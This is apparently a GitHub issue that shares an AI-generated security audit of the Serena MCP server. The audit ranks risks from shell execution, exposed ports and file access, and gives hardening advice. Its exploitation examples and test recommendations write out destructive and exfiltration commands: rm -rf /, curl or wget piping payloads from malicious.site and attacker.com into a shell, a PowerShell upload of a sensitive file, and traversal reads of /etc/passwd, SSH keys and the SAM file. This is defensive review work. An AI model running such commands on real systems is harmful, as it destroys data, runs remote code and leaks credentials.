Run proper Security Audit

[BorisAnthony]

Hi!
This looks awesome!

As part of my standard procedure these days, I downloaded the codebase, opened it with Claude Code and asked it to run a thorough security analysis. The following is what it returned.
I'm not a pro at this, but it sounds serious enough that someone who knows this stuff should probably take a look.

It says "The audit found no evidence of deliberate malicious code, but identified significant security vulnerabilities that could be exploited for data exfiltration and system compromise if the tool falls into the wrong hands or is deployed inappropriately."

The recommendations at the end seem sensible too.

Apologies if this is unhelpful or annoying. I'm in no position to actually evaluate if it is "slop" or not…

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Comprehensive Security Assessment Report: Serena MCP Server

Assessment Date: July 31, 2025
Assessed Version: Current main branch
Assessment Type: Static Code Analysis & Architecture Review
Risk Classification: HIGH

Executive Summary

This security audit of the Serena MCP Server codebase has identified several critical security vulnerabilities that pose significant risks for data exfiltration, unauthorized system access, and potential compromise of systems running this software. The primary concerns center around unrestricted shell command execution, network exposure, and insufficient access controls.

🔴 HIGH RISK FINDINGS

1. Arbitrary Shell Command Execution

• Location: src/serena/tools/cmd_tools.py:14-43, src/serena/util/shell.py:15-42
• CVE Risk: Critical - Remote Code Execution
• Description: The ExecuteShellCommandTool allows execution of arbitrary shell commands with full system privileges
• Attack Vector: Any user/AI with access to the MCP server can execute potentially malicious commands
• Technical Details:
  • Uses subprocess.Popen(command, shell=True) which enables command injection
  • No command whitelisting or sandboxing mechanisms
  • Inherits full process environment and permissions
• Exploitation Example:

  execute_shell_command("rm -rf / --no-preserve-root")
  execute_shell_command("curl -s http://malicious.site/steal.sh | bash")

• Impact: Complete system compromise, data exfiltration, malware installation, lateral movement

2. Network Server Binding to All Interfaces

• Location: src/serena/dashboard.py:146, src/serena/mcp.py:123, compose.yaml:14
• CVE Risk: High - Information Disclosure & Remote Access
• Description: Web dashboard and MCP server bind to 0.0.0.0 by default, exposing services to network
• Attack Vector: Remote attackers can access internal services if firewall rules permit
• Technical Details:
  • Default host parameter is "0.0.0.0" in multiple server configurations
  • Dashboard runs on port 24282 (0x5EDA) with no authentication
  • MCP server accessible on configurable ports (default 9121)
• Impact: Remote access to debugging tools, logs, system shutdown, and potential command execution

3. Unrestricted File System Access

• Location: src/serena/tools/file_tools.py, project validation functions
• CVE Risk: High - Unauthorized File Access
• Description: Tools can read/write files anywhere within project boundaries without strict sandboxing
• Attack Vector: Path traversal attacks, unauthorized file access through symbolic links
• Technical Details:
  • Basic path validation exists but may be bypassable
  • No chroot or containerization enforcement
  • Can access sensitive project files and configurations
• Exploitation Example:

  read_file("../../../etc/passwd")
  read_file("../../.ssh/id_rsa")

• Impact: Data exfiltration, sensitive file exposure, credential theft

🟠 MEDIUM RISK FINDINGS

4. External API Communication Without User Consent

• Location: src/serena/analytics.py:54-70
• CVE Risk: Medium - Privacy Violation & Data Exfiltration
• Description: AnthropicTokenCount class makes API calls to Anthropic for token counting
• Attack Vector: Data exfiltration through legitimate API calls, potential usage tracking
• Technical Details:
  • anthropic.Anthropic(api_key=api_key) client sends user content externally
  • No user consent mechanism for external data transmission
  • Token counting sends code snippets to third-party service
• Impact: Privacy violation, potential intellectual property leakage, compliance violations

5. Language Server Process Spawning

• Location: src/solidlsp/ls_handler.py:184-193
• CVE Risk: Medium - Local Privilege Escalation
• Description: Spawns external language server processes with shell=True
• Attack Vector: Command injection through language server configuration manipulation
• Technical Details:
  • subprocess.Popen(cmd, shell=True) with potentially user-controllable commands
  • Language server paths and arguments may be configurable
  • Processes inherit parent process permissions
• Impact: Local privilege escalation, arbitrary code execution, process manipulation

6. Insecure Web Dashboard

• Location: src/serena/dashboard.py:59-104
• CVE Risk: Medium - Information Disclosure & Unauthorized Control
• Description: Web dashboard lacks authentication and serves internal system information
• Attack Vector: Unauthorized access to logs, system statistics, shutdown functionality
• Technical Details:
  • No authentication mechanisms in Flask routes
  • Exposes system logs via /get_log_messages
  • Provides shutdown endpoint /shutdown
  • Shows internal tool statistics and usage patterns
• Impact: Information disclosure, unauthorized system control, denial of service

🟡 LOW RISK FINDINGS

7. Environment Variable Exposure

• Location: src/serena/util/shell.py:50, various configuration files
• CVE Risk: Low - Information Disclosure
• Description: Subprocess operations inherit full environment including potentially sensitive variables
• Attack Vector: Information disclosure through subprocess environment manipulation
• Technical Details:
  • Uses os.environ.copy() which includes all environment variables
  • May expose API keys, database credentials, internal URLs
• Impact: Credential leakage, configuration exposure, attack surface expansion

8. Persistent Data Storage

• Location: src/serena/tools/memory_tools.py, logging infrastructure
• CVE Risk: Low - Privacy Violation
• Description: Persistent storage of user interactions and project data in .serena/memories/
• Attack Vector: Data mining from stored memories and logs for sensitive information
• Technical Details:
  • Stores project-specific memories in markdown format
  • Retains conversation history and tool usage patterns
  • No automatic data expiration or encryption
• Impact: Long-term privacy violation, data persistence beyond session scope

🔒 POSITIVE SECURITY FINDINGS

• No hardcoded credentials: No API keys or passwords found in source code
• Environment-based configuration: Uses dotenv and environment variables for sensitive settings
• Recent dependencies: Most dependencies are well-maintained and use recent versions
• Some input validation: Basic path validation exists for file operations
• Security awareness: Code comments show awareness of security risks (e.g., shell command warnings)
• Dependency management: Uses uv for deterministic dependency resolution

📋 SECURITY TEST RECOMMENDATIONS

1. Command Injection Testing

# Test various command injection vectors
execute_shell_command("echo test; cat /etc/passwd")
execute_shell_command("$(curl -s http://malicious.site/payload.sh)")
execute_shell_command("; wget http://attacker.com/backdoor.sh -O /tmp/bd.sh; chmod +x /tmp/bd.sh; /tmp/bd.sh")
execute_shell_command("& powershell -Command \"Invoke-WebRequest -Uri 'http://malicious.site/data' -Method POST -Body (Get-Content C:\\sensitive.txt)\"")

2. Network Exposure Testing

# Test remote accessibility
nmap -p 24282,9121 <target_host>
curl http://<target_host>:24282/dashboard/
curl -X POST http://<target_host>:24282/get_log_messages
curl -X PUT http://<target_host>:24282/shutdown

3. Path Traversal Testing

# Test file access controls
read_file("../../../etc/passwd")
read_file("../../.env")
read_file("../../../../proc/self/environ")
read_file("../../../Windows/System32/config/SAM")

4. API Exfiltration Testing

• Monitor network traffic during token counting operations
• Verify what data is sent to external APIs
• Test with sensitive code snippets to check data leakage
• Analyze API request headers and payloads

5. Memory/Log Analysis Testing

# Check for sensitive data in stored memories
find .serena/memories/ -type f -exec grep -l "password\|secret\|key\|token" {} \;
# Analyze log files for sensitive information
grep -r "api_key\|password\|secret" logs/

🛡️ SECURITY RECOMMENDATIONS

Immediate Actions (Critical - Implement Within 7 Days)

1. Disable Shell Command Execution by Default

   # Add configuration option to disable shell tools
   if not config.allow_shell_commands:
       raise SecurityError("Shell command execution disabled for security")

2. Bind Services to Localhost Only

   # Change default host binding
   def run(self, host: str = "127.0.0.1", port: int = 0x5EDA):

3. Add Authentication to Web Dashboard

   # Implement basic authentication or disable dashboard in production
   @app.before_request
   def authenticate():
       if not verify_auth(request):
           abort(401)

Medium-term Improvements (1-4 Weeks)

1. Implement Command Whitelisting

   • Create allowlist of safe commands
   • Add regex-based command validation
   • Implement command parameter sanitization

2. Add Comprehensive Input Validation

   • Strict path validation with canonicalization
   • File type and size restrictions
   • Input sanitization for all user-controllable data

3. Implement Sandboxing

   • Use containers or chroot for isolation
   • Limit file system access to specific directories
   • Implement resource limits (CPU, memory, disk)

4. Add Security Configuration Options

   security:
     allow_shell_commands: false
     restrict_file_access: true
     disable_external_apis: true
     enable_audit_logging: true

Long-term Enhancements (1-3 Months)

1. Containerization and Isolation

   • Run in Docker containers by default
   • Implement proper container security practices
   • Use non-root users for all operations

2. Role-based Access Controls

   • Implement user authentication and authorization
   • Define different permission levels for tools
   • Add audit logging for all security-relevant operations

3. Security Monitoring

   • Add intrusion detection capabilities
   • Implement rate limiting and anomaly detection
   • Create security event alerting system

4. Regular Security Maintenance

   • Automated dependency vulnerability scanning
   • Regular penetration testing
   • Security code review processes

🚨 IMMEDIATE DEPLOYMENT RECOMMENDATIONS

For Production Environments

# Recommended secure configuration
security:
  shell_commands_enabled: false
  bind_address: "127.0.0.1"
  dashboard_enabled: false
  external_apis_disabled: true
  file_access_restricted: true
  audit_logging: true

Network Security

• Deploy behind reverse proxy with authentication
• Use VPN or private networks for access
• Implement firewall rules blocking external access
• Enable network monitoring and logging

System Security

• Run with minimal required privileges
• Use dedicated user account with restricted permissions
• Enable system-level audit logging
• Implement file integrity monitoring

⚠️ OVERALL SECURITY ASSESSMENT

SECURITY RISK LEVEL: HIGH

This codebase presents significant security risks that could lead to complete system compromise. The combination of arbitrary shell command execution, network exposure, and insufficient access controls creates a dangerous attack surface.

Risk Matrix

Component	Confidentiality	Integrity	Availability	Overall Risk
Shell Commands	HIGH	HIGH	HIGH	CRITICAL
Network Exposure	MEDIUM	LOW	MEDIUM	HIGH
File Access	HIGH	MEDIUM	LOW	HIGH
External APIs	MEDIUM	LOW	LOW	MEDIUM

Recommended Usage Contexts

• ❌ Production environments: Not recommended without significant security hardening
• ❌ Internet-facing deployments: Absolutely not recommended
• ⚠️ Development environments: Use with extreme caution and network isolation
• ✅ Isolated research environments: Acceptable with proper containment

Compliance Considerations

• GDPR: Data processing and external API usage may violate privacy requirements
• SOX: Insufficient access controls and audit capabilities
• HIPAA: Not suitable for environments handling protected health information
• PCI DSS: Cannot be used in environments handling payment card data

This tool should only be deployed in highly controlled environments with comprehensive security controls and continuous monitoring.